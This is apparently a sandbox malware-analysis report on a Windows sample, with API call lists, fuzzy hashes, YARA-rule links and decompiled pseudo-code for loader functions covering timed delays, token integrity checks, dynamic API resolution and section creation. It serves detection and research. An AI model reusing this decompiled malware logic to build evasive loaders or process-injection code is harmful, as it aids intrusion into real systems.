0x02f9afc4
0x02f9afc7
0x02f9afce
0x02f9afd8
0x02f9afd8
0x02f9afdc
0x02f9afe1
0x02f9aff0
0x02f9aff6
0x02f9aff6
0x02f9afdc
0x00000000
0x02f9af87
0x02f9af8a
0x02f9af92
0x02f9afa7
0x02f9afac
0x00000000
0x00000000
0x02f9afac
0x00000000
0x02f9af92
0x02f9af80
0x02f9af7b
0x02f9aec1
0x02f9aec8
0x02f9aed8
0x02f9aedb
0x02f9aee1
0x02f9aee5
0x02f9af28
0x02f9af34
0x02f9af5d
0x02f9af36
0x02f9af3a
0x02f9af40
0x02f9af48
0x02f9af4a
0x02f9af4d
0x02f9af53
0x02f9af55
0x02f9af55
0x02f9af48
0x02f9af3a
0x00000000
0x02f9af34
0x02f9aeed
0x02f9aef0
0x02f9aef7
0x02f9af07
0x02f9af0a
0x02f9af1a
0x00000000
0x02f9af20
0x02f9af01
0x02f9af05
0x00000000
0x00000000
0x00000000
0x02f9af05
0x02f9aed2
0x02f9aed6
0x00000000
0x00000000
0x00000000
0x02f9aed6
0x02f9aeaf
0x02f9aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 02F9AE5E
LoadLibraryA.KERNELBASE(?), ref: 02F9AEDB
GetLastError.KERNEL32 ref: 02F9AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 02F9AF1A

Strings

$, xrefs: 02F9AE33

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: f6ffc47bd3245c688a502c99ffd70b86f2a1832bd82585d3bca23ee3767d86bc
Instruction ID: fb7e467614a17484d173725253bbf894063cc581fe16e0c805143e9c3132fa64
Opcode Fuzzy Hash: f6ffc47bd3245c688a502c99ffd70b86f2a1832bd82585d3bca23ee3767d86bc
Instruction Fuzzy Hash: 6D813CB2E402099FEF14DFA9D884BADB7F5EB48788F10842AEA15D7250E770E945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02F96786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E02F96786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x2f9d240);
					_v20 = 0;
					_v16 = 0;
					L02F9B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x2f9d26c; // 0x204
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x2f9d24c = 5;
						} else {
							_t68 = E02F973FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x2f9d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E02F98504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E02F93BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x2f9d244);
							goto L21;
						} else {
							__eflags =  *0x2f9d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E02F9A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x2f9d248);
								L21:
								L02F9B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x2f9d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x02f96786
0x02f96798
0x02f9679b
0x02f967a7
0x02f967af
0x02f967b2
0x02f96919
0x02f967b8
0x02f967b8
0x02f967ba
0x02f967bf
0x02f967c0
0x02f967c6
0x02f967c9
0x02f967cc
0x02f967da
0x02f967e5
0x02f967e8
0x02f967ea
0x02f967f7
0x02f96801
0x02f96805
0x02f96808
0x02f9680d
0x02f96818
0x02f96818
0x02f9680f
0x02f9680f
0x02f96816
0x00000000
0x00000000
0x02f96816
0x02f96822
0x00000000
0x02f96825
0x02f96829
0x02f96834
0x02f96834
0x02f9683b
0x02f96844
0x02f9684b
0x02f96854
0x02f96857
0x02f9685a
0x02f96861
0x02f96864
0x00000000
0x00000000
0x02f96866
0x02f96869
0x02f9686c
0x02f9686f
0x00000000
0x02f96871
0x02f96880
0x02f96880
0x00000000
0x02f968ae
0x02f968ae
0x02f968b3
0x02f968d2
0x02f968d4
0x02f968d9
0x02f968da
0x00000000
0x02f968b5
0x02f968b5
0x02f968bb
0x00000000
0x02f968bd
0x02f968bd
0x02f968c2
0x02f968c4
0x02f968c9
0x02f968ca
0x02f968e0
0x02f968e0
0x02f968e8
0x02f968f3
0x02f968f6
0x02f96901
0x02f96903
0x02f96905
0x02f96908
0x00000000
0x02f9690e
0x00000000
0x02f9690e
0x02f96908
0x02f968bb
0x00000000
0x02f968b3
0x02f96883
0x02f96885
0x02f96888
0x02f96889
0x02f96889
0x02f9688d
0x02f96897
0x02f96897
0x02f9689d
0x02f968a0
0x02f968a0
0x02f968a6
0x02f968a6
0x02f96923
0x00000000

APIs

memset.NTDLL ref: 02F9679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 02F967A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 02F967CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 02F967E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02F96801
HeapFree.KERNEL32(00000000,00000000), ref: 02F96897
CloseHandle.KERNEL32(?), ref: 02F968A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 02F968E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,02F92417,?), ref: 02F968F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02F96901

Part of subcall function 02F973FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03CA9388,00000000,?,74B5F710,00000000,74B5F730), ref: 02F9744C
Part of subcall function 02F973FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,03CA93C0,?,00000000,30314549,00000014,004F0053,03CA937C), ref: 02F974E9
Part of subcall function 02F973FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02F96814), ref: 02F974FB

GetLastError.KERNEL32 ref: 02F96913

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: f51221c3d190e23e875480da0d3f8fb19d806e74cd56229e3258cc621c2112eb
Instruction ID: 30e07894d73da4640c8e200dbbfeeed1e4a1364e485e2c03cead120919b0f4f5
Opcode Fuzzy Hash: f51221c3d190e23e875480da0d3f8fb19d806e74cd56229e3258cc621c2112eb
Instruction Fuzzy Hash: C5512971C01229AAEF10AF95DC44EEEBFBDEF497A4F204616EA10E2190D7709654CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000163F(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001850();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E100018F4(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E100012DC(E1000135A,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001538(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10001DE1(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E10001DFC(_t43);
				goto L11;
			}

0x10001646
0x1000164f
0x10001652
0x10001742
0x10001742
0x10001659
0x1000165d
0x10001663
0x10001671
0x10001672
0x10001675
0x10001678
0x10001681
0x10001684
0x1000168a
0x1000168d
0x10001694
0x1000173f
0x00000000
0x1000173f
0x1000169e
0x100016ef
0x100016ef
0x10001705
0x1000170a
0x10001732
0x1000170c
0x1000170f
0x10001717
0x1000171a
0x10001721
0x10001721
0x10001728
0x10001728
0x10001735
0x1000173b
0x1000173d
0x1000173d
0x00000000
0x1000173b
0x100016ab
0x100016e9
0x00000000
0x100016e9
0x100016ad
0x100016b0
0x100016b9
0x100016bb
0x100016bf
0x100016e1
0x100016e1
0x00000000
0x100016e1
0x100016c1
0x100016c6
0x100016cd
0x100016d2
0x00000000
0x00000000
0x100016d7
0x100016da
0x00000000

APIs

Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

GetSystemTime.KERNEL32(?,00000000,74B063F0), ref: 1000165D
SwitchToThread.KERNEL32 ref: 10001663

Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Sleep.KERNELBASE(00000000,00000000), ref: 10001684
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016B9
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
CloseHandle.KERNEL32(00000000), ref: 10001728
GetLastError.KERNEL32(?,00000000), ref: 10001730
GetLastError.KERNEL32 ref: 1000173D

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02F91B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02F91B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L02F9B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x2f9d27c; // 0xd0a5a8
				_t5 = _t13 + 0x2f9e862; // 0x3ca8e0a
				_t6 = _t13 + 0x2f9e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L02F9AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x2f9d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x02f91b2f
0x02f91b37
0x02f91b3b
0x02f91b41
0x02f91b46
0x02f91b4b
0x02f91b4e
0x02f91b51
0x02f91b56
0x02f91b57
0x02f91b5a
0x02f91b5f
0x02f91b66
0x02f91b70
0x02f91b72
0x02f91b73
0x02f91b76
0x02f91b92
0x02f91b98
0x02f91b9c
0x02f91bea
0x02f91b9e
0x02f91bab
0x02f91bbb
0x02f91bc3
0x02f91bd5
0x02f91bd9
0x00000000
0x00000000
0x02f91bc5
0x02f91bc8
0x02f91bcd
0x02f91bcf
0x02f91bcf
0x02f91bad
0x02f91baf
0x02f91bdb
0x02f91bdc
0x02f91bdc
0x02f91bab
0x02f91bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,02F922EA,?,?,4D283A53,?,?), ref: 02F91B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02F91B51
_snwprintf.NTDLL ref: 02F91B76
CreateFileMappingW.KERNELBASE(000000FF,02F9D2A8,00000004,00000000,00001000,?), ref: 02F91B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,02F922EA,?,?,4D283A53), ref: 02F91BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 02F91BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,02F922EA,?,?), ref: 02F91BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,02F922EA,?,?,4D283A53), ref: 02F91BE4

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 52112aeba085ab16a49108d0796aec3c59e373d834422daf4e386dc77d05cd73
Instruction ID: 2fe08494c00899f4c8857ede7d7cf8cdbe9120863b6fbb5eb6ca1fed57eb5789
Opcode Fuzzy Hash: 52112aeba085ab16a49108d0796aec3c59e373d834422daf4e386dc77d05cd73
Instruction Fuzzy Hash: 74219676A40208BBEB21EFA8DC05F9B77AAAB48BD0F114162F719E7190E7709515CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02F9924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F9924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x2f9d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E02F92049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E02F99039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x02f9925c
0x02f99263
0x02f9926a
0x02f9927e
0x02f99289
0x02f992a1
0x02f992ae
0x02f992b1
0x02f992b6
0x02f992c1
0x02f992c5
0x02f992d4
0x02f992d8
0x02f992f4
0x02f992f4
0x02f992f8
0x02f992f8
0x02f992fd
0x02f99301
0x02f99307
0x02f99308
0x02f9930f
0x02f99315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 02F99281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 02F992A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 02F992B1
CloseHandle.KERNEL32(00000000), ref: 02F99301

Part of subcall function 02F92049: RtlAllocateHeap.NTDLL(00000000,00000000,02F97E50), ref: 02F92055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 02F992D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 02F992DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 02F992EC

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: b093de99779fcc43df8be2b6b8cf59a962672573db592d4f2b3d1bfb0c20e3f1
Instruction ID: 3ea36fb540448d36a8034d8bd189f3b97cc9ef49e700e2130c189c2d35c98878
Opcode Fuzzy Hash: b093de99779fcc43df8be2b6b8cf59a962672573db592d4f2b3d1bfb0c20e3f1
Instruction Fuzzy Hash: 6B216D75D0020DFFEF00AFA1DC84DEEBB79EB48744F10006AEA11A61A0C7758A15EF60

Uniqueness

Uniqueness Score: -1.00%

Function 02F9163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 02F91680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 02F91702
StrStrIW.SHLWAPI(?,006E0069), ref: 02F91741
SysFreeString.OLEAUT32(?), ref: 02F91763

Part of subcall function 02F952F9: SysAllocString.OLEAUT32(02F9C2B0), ref: 02F95349

SafeArrayDestroy.OLEAUT32(?), ref: 02F917B7
SysFreeString.OLEAUT32(?), ref: 02F917C5

Part of subcall function 02F92436: Sleep.KERNELBASE(000001F4), ref: 02F9247E

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 72faf788c4ca5e77da57a235fbf996a55f57583ebfb47dfc256bac7e77e460c2
Instruction ID: 82804302af95c4be01df12cfcc16cfd9088e7cfbfa911fa589217dbfdfe6420f
Opcode Fuzzy Hash: 72faf788c4ca5e77da57a235fbf996a55f57583ebfb47dfc256bac7e77e460c2
Instruction Fuzzy Hash: 7F510D76D0020AAFDF10DFA8C9848AEB7B6FF88784B158939E615EB210D731AD45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10001DE1(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E10001DFC(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001EB5(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001a1d
0x10001a21
0x10001ae2
0x10001a27
0x10001a3f
0x10001a4e
0x10001a55
0x10001a59
0x10001a5c
0x10001ada
0x10001adb
0x10001a5e
0x10001a6b
0x10001a6f
0x10001a72
0x00000000
0x10001a74
0x10001a81
0x10001a85
0x10001a88
0x00000000
0x10001a8a
0x10001a97
0x10001a9b
0x10001a9e
0x00000000
0x10001aa0
0x10001aad
0x10001ab1
0x10001ab4
0x00000000
0x10001ab6
0x10001abc
0x10001ac2
0x10001ac7
0x10001ace
0x10001ad1
0x00000000
0x10001ad3
0x10001ad6
0x10001ad6
0x10001ad1
0x10001ab4
0x10001a9e
0x10001a88
0x10001a72
0x10001a5c
0x10001af0

APIs

Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 10001EB5: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 10001F12
Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61

Uniqueness

Uniqueness Score: -1.00%

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x10004110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001afd
0x10001b09
0x10001b0b
0x10001b0e
0x10001b84
0x10001b8a
